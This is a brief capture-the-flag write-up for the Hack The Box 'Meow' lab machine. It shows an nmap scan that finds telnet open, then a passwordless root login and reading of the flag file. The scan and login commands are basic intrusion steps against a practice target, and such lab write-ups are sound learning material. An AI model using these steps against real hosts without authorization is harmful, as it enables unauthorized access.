

Hackthebox

[Hack The Box :: Starting Point](#)

Meow

STEP 1: Discover the network

We'll scan the network with **nmap** tool see if there any ports open.

\$ nmap -Pn -sV <IP>

```
(kali㉿kali)-[~]  
$ nmap -Pn -sV 10.129.61.187  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-08 11:31 EST  
Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan  
Connect Scan Timing: About 78.05% done; ETC: 11:32 (0:00:08 remaining)  
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan  
Connect Scan Timing: About 91.18% done; ETC: 11:33 (0:00:06 remaining)  
Stats: 0:01:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan  
Service scan Timing: About 0.00% done  
Nmap scan report for 10.129.61.187  
Host is up (0.084s latency).  
Not shown: 982 closed tcp ports (conn-refused)  
PORT      STATE  SERVICE  VERSION  
23/tcp    open   telnet    Linux telnetd
```

We found one port is open and this is telnet, let's check this port.

STEP 2: Connection with telnet

\$ telnet <IP>

```
Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0  
root@Meow:~#
```

Yeah we can login with user root, let's executed this command

\$ ls

```
Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
root@Meow:~# ls
flag.txt  snap
root@Meow:~# cat flag.txt
[REDACTED]
root@Meow:~#
```

If you don't see an update after 2-3 minutes, refresh the page.

we found the flag.